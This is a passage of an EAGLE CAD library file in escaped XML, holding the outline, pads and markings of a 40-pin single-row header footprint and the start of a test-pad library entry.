x1=\"-50.165\" y1=\"1.27\" x2=\"-50.8\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-50.8\" y1=\"-0.635\" x2=\"-50.165\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.895\" y1=\"-1.27\" x2=\"-50.165\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.905\" y1=\"1.27\" x2=\"-0.635\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.905\" y1=\"1.27\" x2=\"-2.54\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"-0.635\" x2=\"-1.905\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"-1.27\" x2=\"-1.905\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.905\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"2.54\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"0.635\" x2=\"2.54\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-0.635\" x2=\"1.905\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0.635\" x2=\"0\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"0\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"4.445\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"1.27\" x2=\"5.08\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-0.635\" x2=\"4.445\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"2.54\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-0.635\" x2=\"3.175\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"-1.27\" x2=\"3.175\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"1.27\" x2=\"6.985\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"1.27\" x2=\"7.62\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.62\" y1=\"0.635\" x2=\"7.62\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.62\" y1=\"-0.635\" x2=\"6.985\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"0.635\" x2=\"5.08\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"1.27\" x2=\"5.08\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-0.635\" x2=\"5.715\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"-1.27\" x2=\"5.715\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"1.27\" x2=\"9.525\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.525\" y1=\"1.27\" x2=\"10.16\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.16\" y1=\"-0.635\" x2=\"9.525\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"1.27\" x2=\"7.62\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.62\" y1=\"-0.635\" x2=\"8.255\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.525\" y1=\"-1.27\" x2=\"8.255\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.16\" y1=\"0.635\" x2=\"10.16\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.795\" y1=\"1.27\" x2=\"12.065\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.065\" y1=\"1.27\" x2=\"12.7\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.7\" y1=\"-0.635\" x2=\"12.065\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.795\" y1=\"1.27\" x2=\"10.16\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.16\" y1=\"-0.635\" x2=\"10.795\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.065\" y1=\"-1.27\" x2=\"10.795\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"1.27\" x2=\"14.605\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"14.605\" y1=\"1.27\" x2=\"15.24\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"0.635\" x2=\"15.24\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-0.635\" x2=\"14.605\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.7\" y1=\"0.635\" x2=\"12.7\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"1.27\" x2=\"12.7\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.7\" y1=\"-0.635\" x2=\"13.335\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"14.605\" y1=\"-1.27\" x2=\"13.335\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.875\" y1=\"1.27\" x2=\"17.145\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.145\" y1=\"1.27\" x2=\"17.78\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.78\" y1=\"-0.635\" x2=\"17.145\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.875\" y1=\"1.27\" x2=\"15.24\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-0.635\" x2=\"15.875\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.145\" y1=\"-1.27\" x2=\"15.875\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"18.415\" y1=\"1.27\" x2=\"19.685\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"19.685\" y1=\"1.27\" x2=\"20.32\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"0.635\" x2=\"20.32\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"-0.635\" x2=\"19.685\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.78\" y1=\"0.635\" x2=\"17.78\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"18.415\" y1=\"1.27\" x2=\"17.78\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.78\" y1=\"-0.635\" x2=\"18.415\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"19.685\" y1=\"-1.27\" x2=\"18.415\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.955\" y1=\"1.27\" x2=\"22.225\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.225\" y1=\"1.27\" x2=\"22.86\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.86\" y1=\"-0.635\" x2=\"22.225\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.955\" y1=\"1.27\" x2=\"20.32\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"-0.635\" x2=\"20.955\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.225\" y1=\"-1.27\" x2=\"20.955\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.86\" y1=\"0.635\" x2=\"22.86\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"23.495\" y1=\"1.27\" x2=\"24.765\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"24.765\" y1=\"1.27\" x2=\"25.4\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"25.4\" y1=\"-0.635\" x2=\"24.765\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"23.495\" y1=\"1.27\" x2=\"22.86\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.86\" y1=\"-0.635\" x2=\"23.495\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"24.765\" y1=\"-1.27\" x2=\"23.495\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.895\" y1=\"1.27\" x2=\"50.165\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.72\" y1=\"0.635\" x2=\"46.355\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"46.355\" y1=\"1.27\" x2=\"47.625\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"47.625\" y1=\"1.27\" x2=\"48.26\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.26\" y1=\"0.635\" x2=\"48.26\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.26\" y1=\"-0.635\" x2=\"47.625\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"47.625\" y1=\"-1.27\" x2=\"46.355\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"46.355\" y1=\"-1.27\" x2=\"45.72\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.895\" y1=\"1.27\" x2=\"48.26\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.26\" y1=\"-0.635\" x2=\"48.895\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"50.165\" y1=\"-1.27\" x2=\"48.895\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"41.275\" y1=\"1.27\" x2=\"42.545\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"42.545\" y1=\"1.27\" x2=\"43.18\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.18\" y1=\"0.635\" x2=\"43.18\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.18\" y1=\"-0.635\" x2=\"42.545\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.18\" y1=\"0.635\" x2=\"43.815\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.815\" y1=\"1.27\" x2=\"45.085\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.085\" y1=\"1.27\" x2=\"45.72\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.72\" y1=\"0.635\" x2=\"45.72\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.72\" y1=\"-0.635\" x2=\"45.085\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.085\" y1=\"-1.27\" x2=\"43.815\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.815\" y1=\"-1.27\" x2=\"43.18\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.1\" y1=\"0.635\" x2=\"38.735\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.735\" y1=\"1.27\" x2=\"40.005\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.005\" y1=\"1.27\" x2=\"40.64\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.64\" y1=\"0.635\" x2=\"40.64\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.64\" y1=\"-0.635\" x2=\"40.005\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.005\" y1=\"-1.27\" x2=\"38.735\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.735\" y1=\"-1.27\" x2=\"38.1\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"41.275\" y1=\"1.27\" x2=\"40.64\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.64\" y1=\"-0.635\" x2=\"41.275\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"42.545\" y1=\"-1.27\" x2=\"41.275\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.655\" y1=\"1.27\" x2=\"34.925\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"34.925\" y1=\"1.27\" x2=\"35.56\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"35.56\" y1=\"0.635\" x2=\"35.56\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"35.56\" y1=\"-0.635\" x2=\"34.925\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"35.56\" y1=\"0.635\" x2=\"36.195\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"36.195\" y1=\"1.27\" x2=\"37.465\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"37.465\" y1=\"1.27\" x2=\"38.1\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.1\" y1=\"0.635\" x2=\"38.1\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.1\" y1=\"-0.635\" x2=\"37.465\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"37.465\" y1=\"-1.27\" x2=\"36.195\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"36.195\" y1=\"-1.27\" x2=\"35.56\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"30.48\" y1=\"0.635\" x2=\"31.115\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"31.115\" y1=\"1.27\" x2=\"32.385\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"32.385\" y1=\"1.27\" x2=\"33.02\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.02\" y1=\"0.635\" x2=\"33.02\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.02\" y1=\"-0.635\" x2=\"32.385\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"32.385\" y1=\"-1.27\" x2=\"31.115\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"31.115\" y1=\"-1.27\" x2=\"30.48\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.655\" y1=\"1.27\" x2=\"33.02\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.02\" y1=\"-0.635\" x2=\"33.655\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"34.925\" y1=\"-1.27\" x2=\"33.655\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"26.035\" y1=\"1.27\" x2=\"27.305\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.305\" y1=\"1.27\" x2=\"27.94\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.94\" y1=\"0.635\" x2=\"27.94\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.94\" y1=\"-0.635\" x2=\"27.305\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.94\" y1=\"0.635\" x2=\"28.575\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"28.575\" y1=\"1.27\" x2=\"29.845\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"29.845\" y1=\"1.27\" x2=\"30.48\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"30.48\" y1=\"0.635\" x2=\"30.48\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"30.48\" y1=\"-0.635\" x2=\"29.845\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"29.845\" y1=\"-1.27\" x2=\"28.575\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"28.575\" y1=\"-1.27\" x2=\"27.94\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"25.4\" y1=\"0.635\" x2=\"25.4\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"26.035\" y1=\"1.27\" x2=\"25.4\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"25.4\" y1=\"-0.635\" x2=\"26.035\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.305\" y1=\"-1.27\" x2=\"26.035\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-49.53\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"-46.99\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"3\" x=\"-44.45\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"4\" x=\"-41.91\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"5\" x=\"-39.37\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"6\" x=\"-36.83\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"7\" x=\"-34.29\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"8\" x=\"-31.75\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"9\" x=\"-29.21\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"10\" x=\"-26.67\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"11\" x=\"-24.13\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"12\" x=\"-21.59\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"13\" x=\"-19.05\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"14\" x=\"-16.51\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"15\" x=\"-13.97\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"16\" x=\"-11.43\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"17\" x=\"-8.89\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"18\" x=\"-6.35\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"19\" x=\"-3.81\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"20\" x=\"-1.27\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"21\" x=\"1.27\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"22\" x=\"3.81\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"23\" x=\"6.35\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"24\" x=\"8.89\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"25\" x=\"11.43\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"26\" x=\"13.97\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"27\" x=\"16.51\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"28\" x=\"19.05\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"29\" x=\"21.59\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"30\" x=\"24.13\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"31\" x=\"26.67\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"32\" x=\"29.21\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"33\" x=\"31.75\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"34\" x=\"34.29\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"35\" x=\"36.83\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"36\" x=\"39.37\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"37\" x=\"41.91\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"38\" x=\"44.45\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"39\" x=\"46.99\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"40\" x=\"49.53\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-50.8762\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-50.8\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-4.064\" y1=\"-0.254\" x2=\"-3.556\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-6.604\" y1=\"-0.254\" x2=\"-6.096\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-9.144\" y1=\"-0.254\" x2=\"-8.636\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-11.684\" y1=\"-0.254\" x2=\"-11.176\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-14.224\" y1=\"-0.254\" x2=\"-13.716\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-16.764\" y1=\"-0.254\" x2=\"-16.256\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-19.304\" y1=\"-0.254\" x2=\"-18.796\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-21.844\" y1=\"-0.254\" x2=\"-21.336\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-24.384\" y1=\"-0.254\" x2=\"-23.876\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-26.924\" y1=\"-0.254\" x2=\"-26.416\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-29.464\" y1=\"-0.254\" x2=\"-28.956\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-32.004\" y1=\"-0.254\" x2=\"-31.496\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-34.544\" y1=\"-0.254\" x2=\"-34.036\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-37.084\" y1=\"-0.254\" x2=\"-36.576\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-39.624\" y1=\"-0.254\" x2=\"-39.116\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-42.164\" y1=\"-0.254\" x2=\"-41.656\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-44.704\" y1=\"-0.254\" x2=\"-44.196\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-47.244\" y1=\"-0.254\" x2=\"-46.736\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-49.784\" y1=\"-0.254\" x2=\"-49.276\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-1.524\" y1=\"-0.254\" x2=\"-1.016\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"1.016\" y1=\"-0.254\" x2=\"1.524\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"3.556\" y1=\"-0.254\" x2=\"4.064\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"6.096\" y1=\"-0.254\" x2=\"6.604\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"8.636\" y1=\"-0.254\" x2=\"9.144\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"11.176\" y1=\"-0.254\" x2=\"11.684\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"13.716\" y1=\"-0.254\" x2=\"14.224\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"16.256\" y1=\"-0.254\" x2=\"16.764\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"18.796\" y1=\"-0.254\" x2=\"19.304\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"21.336\" y1=\"-0.254\" x2=\"21.844\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"23.876\" y1=\"-0.254\" x2=\"24.384\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"49.276\" y1=\"-0.254\" x2=\"49.784\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"46.736\" y1=\"-0.254\" x2=\"47.244\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"44.196\" y1=\"-0.254\" x2=\"44.704\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"41.656\" y1=\"-0.254\" x2=\"42.164\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"39.116\" y1=\"-0.254\" x2=\"39.624\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"36.576\" y1=\"-0.254\" x2=\"37.084\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"34.036\" y1=\"-0.254\" x2=\"34.544\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"31.496\" y1=\"-0.254\" x2=\"32.004\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"28.956\" y1=\"-0.254\" x2=\"29.464\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"26.416\" y1=\"-0.254\" x2=\"26.924\" y2=\"0.254\" layer=\"51\"/>\n</package>\n</packages>\n</library>\n<library name=\"testpad\">\n<description>&lt;b&gt;Test Pins/Pads&lt;/b&gt;&lt;p&gt;\nCream on SMD OFF.&lt;br&gt;\nnew: Attribute TP_SIGNAL_NAME&lt;br&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"P1-13\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<circle x=\"0\" y=\"0\" radius=\"0.762\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"TP\" x=\"0\" y=\"0\" drill=\"1.3208\" diameter=\"2.159\" shape=\"octagon\"/>\n<text x=\"-1.016\" y=\"1.27\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0\" y=\"0\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n<rectangle x1=\"-0.3302\" y1=\"-0.3302\" 